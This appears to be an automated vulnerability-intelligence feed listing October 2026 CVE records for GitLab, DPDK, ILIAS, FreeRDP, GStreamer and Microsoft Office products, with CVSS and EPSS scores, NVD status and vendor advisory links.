Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### GitLab has remediated an issue in GitLab CE/EE affecting all versions from 19.1 before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2  that, under certain conditions, could...
https://kevwire.com/record/CVE-2026-92883
GitLab has remediated an issue in GitLab CE/EE affecting all versions from 19.1 before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2  that, under certain conditions, could... (Oct 13, 2026).
GitLab has remediated an issue in GitLab CE/EE affecting all versions from 19.1 before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2  that, under certain conditions, could have allowed an authenticated user to execute arbitrary JavaScript in the context of other users' browser sessions via a specially crafted repository, due to improper sanitization of HTML attributes in syntax-highlighted output.
CVSS 8.7 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-92883).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-92883&date=2026-10-25).
Sources:
NVD CVE-2026-92883: https://nvd.nist.gov/vuln/detail/CVE-2026-92883
Vendor advisory (via NVD references): https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-4-2-released/
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-92883&date=2026-10-25
GitLab has remediated an issue in GitLab CE/EE affecting all versions from 19.1 before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2  that, under certain conditions, could have allowed an authenticated user to execute arbitrary JavaScript in the context of other users' browser sessions via a specially crafted repository, due to improper sanitization of HTML attributes in syntax-highlighted output.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in DPDK lib/vhost vhost-crypto. The indirect-descriptor snapshot double-fetches a guest descriptor next index, allowing a malicious guest to cause an...
https://kevwire.com/record/CVE-2026-86848
A flaw was found in DPDK lib/vhost vhost-crypto. The indirect-descriptor snapshot double-fetches a guest descriptor next index, allowing a malicious guest to cause an... (Oct 14, 2026).
A flaw was found in DPDK lib/vhost vhost-crypto. The indirect-descriptor snapshot double-fetches a guest descriptor next index, allowing a malicious guest to cause an out-of-bounds access in the host backend.
CVSS 8.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-86848).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-86848&date=2026-10-25).
Sources:
NVD CVE-2026-86848: https://nvd.nist.gov/vuln/detail/CVE-2026-86848
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-86848&date=2026-10-25
A flaw was found in DPDK lib/vhost vhost-crypto. The indirect-descriptor snapshot double-fetches a guest descriptor next index, allowing a malicious guest to cause an out-of-bounds access in the host backend.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.7 before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2 that, under certain conditions, could...
https://kevwire.com/record/CVE-2026-16301
GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.7 before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2 that, under certain conditions, could... (Oct 13, 2026).
GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.7 before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2 that, under certain conditions, could have allowed an authenticated user with Developer role to execute CI/CD pipelines on protected branches without authorization due to improper authorization checks in the downstream pipeline creation service.
CVSS 8.5 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-16301).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-16301&date=2026-10-25).
Sources:
NVD CVE-2026-16301: https://nvd.nist.gov/vuln/detail/CVE-2026-16301
Vendor advisory (via NVD references): https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-4-2-released/
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-16301&date=2026-10-25
GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.7 before 19.2.8, 19.3 before 19.3.5, and 19.4 before 19.4.2 that, under certain conditions, could have allowed an authenticated user with Developer role to execute CI/CD pipelines on protected branches without authorization due to improper authorization checks in the downstream pipeline creation service.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ILIAS before 9.24, 10.12, and 11.5 contains a PHP object injection vulnerability that allows authenticated users with Test creation or import permission to deserialize arbitrary...
https://kevwire.com/record/CVE-2026-110761
ILIAS before 9.24, 10.12, and 11.5 contains a PHP object injection vulnerability that allows authenticated users with Test creation or import permission to deserialize arbitrary... (Oct 14, 2026).
ILIAS before 9.24, 10.12, and 11.5 contains a PHP object injection vulnerability that allows authenticated users with Test creation or import permission to deserialize arbitrary objects via crafted Test archives. Attackers can inject a malicious tst_sequence sequence attribute that is passed to unserialize(), abusing Guzzle or Monolog gadget chains to write PHP files and execute code.
CVSS 8.7 (version 4.0; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110761).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110761&date=2026-10-25).
Sources:
NVD CVE-2026-110761: https://nvd.nist.gov/vuln/detail/CVE-2026-110761
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110761&date=2026-10-25
ILIAS before 9.24, 10.12, and 11.5 contains a PHP object injection vulnerability that allows authenticated users with Test creation or import permission to deserialize arbitrary objects via crafted Test archives. Attackers can inject a malicious tst_sequence sequence attribute that is passed to unserialize(), abusing Guzzle or Monolog gadget chains to write PHP files and execute code.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Untrusted pointer dereference in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-70300
Untrusted pointer dereference in Microsoft Office Word allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Untrusted pointer dereference in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70300).
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70300&date=2026-10-25).
Sources:
NVD CVE-2026-70300: https://nvd.nist.gov/vuln/detail/CVE-2026-70300
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70300
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70300&date=2026-10-25
Untrusted pointer dereference in Microsoft Office Word allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in gst-plugins-base. A heap buffer overflow can be triggered when processing video buffers whose attached GstVideoMeta metadata declares plane strides and offsets...
https://kevwire.com/record/CVE-2026-86476
A flaw was found in gst-plugins-base. A heap buffer overflow can be triggered when processing video buffers whose attached GstVideoMeta metadata declares plane strides and offsets... (Oct 14, 2026).
A flaw was found in gst-plugins-base. A heap buffer overflow can be triggered when processing video buffers whose attached GstVideoMeta metadata declares plane strides and offsets that exceed the actual backing memory allocation. The metadata is not range-checked during deserialization, and the video frame mapping code does not verify that the declared plane geometry fits within the buffer before allowing consumers to read or write video data. A local attacker who controls the sending side of a GStreamer inter-process IPC pipeline can deliver a crafted buffer carrying fabricated strides, causing the receiving process to read or write beyond heap boundaries. Successful exploitation can cause a denial of service or potentially allow code execution within the affected process.
CVSS 8.4 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-86476).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-86476&date=2026-10-25).
Sources:
NVD CVE-2026-86476: https://nvd.nist.gov/vuln/detail/CVE-2026-86476
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-86476&date=2026-10-25
A flaw was found in gst-plugins-base. A heap buffer overflow can be triggered when processing video buffers whose attached GstVideoMeta metadata declares plane strides and offsets that exceed the actual backing memory allocation. The metadata is not range-checked during deserialization, and the video frame mapping code does not verify that the declared plane geometry fits within the buffer before allowing consumers to read or write video data. A local attacker who controls the sending side of a GStreamer inter-process IPC pipeline can deliver a crafted buffer carrying fabricated strides, causing the receiving process to read or write beyond heap boundaries. Successful exploitation can cause a denial of service or potentially allow code execution within the affected process.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in DPDK lib/vhost. A double-offset bug in vhost log mapping calculation can lead to incorrect memory access.
https://kevwire.com/record/CVE-2026-86563
A flaw was found in DPDK lib/vhost. A double-offset bug in vhost log mapping calculation can lead to incorrect memory access. (Oct 14, 2026).
A flaw was found in DPDK lib/vhost. A double-offset bug in vhost log mapping calculation can lead to incorrect memory access.
CVSS 7.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-86563).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-86563&date=2026-10-25).
Sources:
NVD CVE-2026-86563: https://nvd.nist.gov/vuln/detail/CVE-2026-86563
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-86563&date=2026-10-25
A flaw was found in DPDK lib/vhost. A double-offset bug in vhost log mapping calculation can lead to incorrect memory access.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FreeRDP 3.0.0 before 3.32.0 contains an improper certificate validation vulnerability in freerdp_http_request() in libfreerdp/utils/http.c that completes TLS handshakes without...
https://kevwire.com/record/CVE-2026-109245
FreeRDP 3.0.0 before 3.32.0 contains an improper certificate validation vulnerability in freerdp_http_request() in libfreerdp/utils/http.c that completes TLS handshakes without... (Oct 12, 2026).
FreeRDP 3.0.0 before 3.32.0 contains an improper certificate validation vulnerability in freerdp_http_request() in libfreerdp/utils/http.c that completes TLS handshakes without verifying the server certificate chain. On-path attackers can impersonate login.microsoftonline.com in the Azure AD authentication flow to capture OAuth authorization codes and substitute the OpenID discovery document.
CVSS 7.4 (version 4.0; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109245).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109245&date=2026-10-25).
Sources:
NVD CVE-2026-109245: https://nvd.nist.gov/vuln/detail/CVE-2026-109245
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109245&date=2026-10-25
FreeRDP 3.0.0 before 3.32.0 contains an improper certificate validation vulnerability in freerdp_http_request() in libfreerdp/utils/http.c that completes TLS handshakes without verifying the server certificate chain. On-path attackers can impersonate login.microsoftonline.com in the Azure AD authentication flow to capture OAuth authorization codes and substitute the OpenID discovery document.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FreeRDP from 3.0.0-beta1 before 3.32.0 contains a use-after-free vulnerability in smartcard handling that allows attackers to access a freed smartcard handle object after an...
https://kevwire.com/record/CVE-2026-109676
FreeRDP from 3.0.0-beta1 before 3.32.0 contains a use-after-free vulnerability in smartcard handling that allows attackers to access a freed smartcard handle object after an... (Oct 13, 2026).
FreeRDP from 3.0.0-beta1 before 3.32.0 contains a use-after-free vulnerability in smartcard handling that allows attackers to access a freed smartcard handle object after an invalid connect operation. Attackers can trigger an invalid smartcard connect operation to cause reuse of the freed handle, leading to memory corruption or crashes.
CVSS 8.7 (version 4.0; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109676).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109676&date=2026-10-25).
Sources:
NVD CVE-2026-109676: https://nvd.nist.gov/vuln/detail/CVE-2026-109676
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109676&date=2026-10-25
FreeRDP from 3.0.0-beta1 before 3.32.0 contains a use-after-free vulnerability in smartcard handling that allows attackers to access a freed smartcard handle object after an invalid connect operation. Attackers can trigger an invalid smartcard connect operation to cause reuse of the freed handle, leading to memory corruption or crashes.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FreeRDP 3.29.0 before 3.32.0 contains a double free in the client's async-update message proxy, which shallow-copies the parser-owned PolygonSC or PolygonCB points array when...
https://kevwire.com/record/CVE-2026-109943
FreeRDP 3.29.0 before 3.32.0 contains a double free in the client's async-update message proxy, which shallow-copies the parser-owned PolygonSC or PolygonCB points array when... (Oct 13, 2026).
FreeRDP 3.29.0 before 3.32.0 contains a double free in the client's async-update message proxy, which shallow-copies the parser-owned PolygonSC or PolygonCB points array when numPoints is zero, so both the queue consumer and parser cleanup free it. A malicious RDP server can send a point-bearing polygon order followed by a zero-point order to crash a client with +async-update enabled.
CVSS 7.1 (version 4.0; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109943).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109943&date=2026-10-25).
Sources:
NVD CVE-2026-109943: https://nvd.nist.gov/vuln/detail/CVE-2026-109943
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109943&date=2026-10-25
FreeRDP 3.29.0 before 3.32.0 contains a double free in the client's async-update message proxy, which shallow-copies the parser-owned PolygonSC or PolygonCB points array when numPoints is zero, so both the queue consumer and parser cleanup free it. A malicious RDP server can send a point-bearing polygon order followed by a zero-point order to crash a client with +async-update enabled.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper neutralization of input during web page generation ('cross-site scripting') in Microsoft Office SharePoint allows an authorized attacker to perform spoofing over a...
https://kevwire.com/record/CVE-2026-88204
Improper neutralization of input during web page generation ('cross-site scripting') in Microsoft Office SharePoint allows an authorized attacker to perform spoofing over a... (Oct 13, 2026).
Improper neutralization of input during web page generation ('cross-site scripting') in Microsoft Office SharePoint allows an authorized attacker to perform spoofing over a network.
CVSS 7.3 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88204).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88204&date=2026-10-25).
Sources:
NVD CVE-2026-88204: https://nvd.nist.gov/vuln/detail/CVE-2026-88204
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88204
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88204&date=2026-10-25
Improper neutralization of input during web page generation ('cross-site scripting') in Microsoft Office SharePoint allows an authorized attacker to perform spoofing over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper control of generation of code ('code injection') in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.
https://kevwire.com/record/CVE-2026-102863
Improper control of generation of code ('code injection') in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network. (Oct 13, 2026).
Improper control of generation of code ('code injection') in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102863).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102863&date=2026-10-25).
Sources:
NVD CVE-2026-102863: https://nvd.nist.gov/vuln/detail/CVE-2026-102863
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102863
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102863&date=2026-10-25
Improper control of generation of code ('code injection') in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incorrect authorization in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.
https://kevwire.com/record/CVE-2026-102862
Incorrect authorization in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network. (Oct 13, 2026).
Incorrect authorization in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102862).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102862&date=2026-10-25).
Sources:
NVD CVE-2026-102862: https://nvd.nist.gov/vuln/detail/CVE-2026-102862
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102862
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102862&date=2026-10-25
Incorrect authorization in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Missing authorization in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.
https://kevwire.com/record/CVE-2026-102861
Missing authorization in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network. (Oct 13, 2026).
Missing authorization in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102861).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102861&date=2026-10-25).
Sources:
NVD CVE-2026-102861: https://nvd.nist.gov/vuln/detail/CVE-2026-102861
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102861
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102861&date=2026-10-25
Missing authorization in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper access control in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.
https://kevwire.com/record/CVE-2026-102860
Improper access control in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network. (Oct 13, 2026).
Improper access control in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102860).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102860&date=2026-10-25).
Sources:
NVD CVE-2026-102860: https://nvd.nist.gov/vuln/detail/CVE-2026-102860
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102860
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102860&date=2026-10-25
Improper access control in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-105013
Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network. (Oct 13, 2026).
Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.
CVSS 7.4 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105013).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105013&date=2026-10-25).
Sources:
NVD CVE-2026-105013: https://nvd.nist.gov/vuln/detail/CVE-2026-105013
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-105013
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105013&date=2026-10-25
Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper verification of cryptographic signature in Microsoft Office SharePoint allows an unauthorized attacker to elevate privileges over a network.
https://kevwire.com/record/CVE-2026-102866
Improper verification of cryptographic signature in Microsoft Office SharePoint allows an unauthorized attacker to elevate privileges over a network. (Oct 13, 2026).
Improper verification of cryptographic signature in Microsoft Office SharePoint allows an unauthorized attacker to elevate privileges over a network.
CVSS 8.1 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102866).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102866&date=2026-10-25).
Sources:
NVD CVE-2026-102866: https://nvd.nist.gov/vuln/detail/CVE-2026-102866
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102866
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102866&date=2026-10-25
Improper verification of cryptographic signature in Microsoft Office SharePoint allows an unauthorized attacker to elevate privileges over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Inclusion of functionality from untrusted control sphere in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-70267
Inclusion of functionality from untrusted control sphere in Microsoft Office SharePoint allows an authorized attacker to execute code over a network. (Oct 13, 2026).
Inclusion of functionality from untrusted control sphere in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.
CVSS 7.2 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70267).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70267&date=2026-10-25).
Sources:
NVD CVE-2026-70267: https://nvd.nist.gov/vuln/detail/CVE-2026-70267
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70267
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70267&date=2026-10-25
Inclusion of functionality from untrusted control sphere in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper neutralization of special elements used in an sql command ('sql injection') in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a...
https://kevwire.com/record/CVE-2026-70266
Improper neutralization of special elements used in an sql command ('sql injection') in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a... (Oct 13, 2026).
Improper neutralization of special elements used in an sql command ('sql injection') in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70266).
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70266&date=2026-10-25).
Sources:
NVD CVE-2026-70266: https://nvd.nist.gov/vuln/detail/CVE-2026-70266
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70266
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70266&date=2026-10-25
Improper neutralization of special elements used in an sql command ('sql injection') in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Server-side request forgery (ssrf) in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.
https://kevwire.com/record/CVE-2026-70251
Server-side request forgery (ssrf) in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network. (Oct 13, 2026).
Server-side request forgery (ssrf) in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.
